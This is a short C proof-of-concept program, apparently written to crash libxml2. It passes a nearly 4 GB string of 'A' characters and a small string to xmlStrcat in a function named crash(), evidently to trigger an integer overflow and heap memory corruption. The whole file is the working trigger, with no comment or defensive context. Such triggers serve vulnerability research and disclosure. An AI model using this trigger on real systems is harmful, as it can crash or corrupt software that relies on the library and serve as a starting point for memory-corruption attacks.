#include <stdio.h>
#include <libxml/parser.h>
#include <libxml/xmlstring.h>
#include <string.h>

#define SMALL_LENGTH 20
#define LARGE_LENGTH 4294967294

char* getNormalStr(){
    char *str = (char *)malloc(SMALL_LENGTH);
    if(str == NULL){
        printf("Normal string allocation error\n");
        exit(1);
    }
    memset(str, 'A', SMALL_LENGTH-1);
    str[SMALL_LENGTH-1] = 0;
    return str;
}

char* getLongStr(){
    char *str = (char *)malloc(LARGE_LENGTH);
    if(str == NULL){
        printf("Large string allocation error\n");
        exit(1);
    }
    memset(str, 'A', LARGE_LENGTH-1);
    str[LARGE_LENGTH-1] = 0;
    return str;
}


void crash() {
    xmlStrcat((xmlChar *)getLongStr(), (xmlChar *)getNormalStr());
}

int main(int argc, char **argv) {
    crash();
    return(0);
}
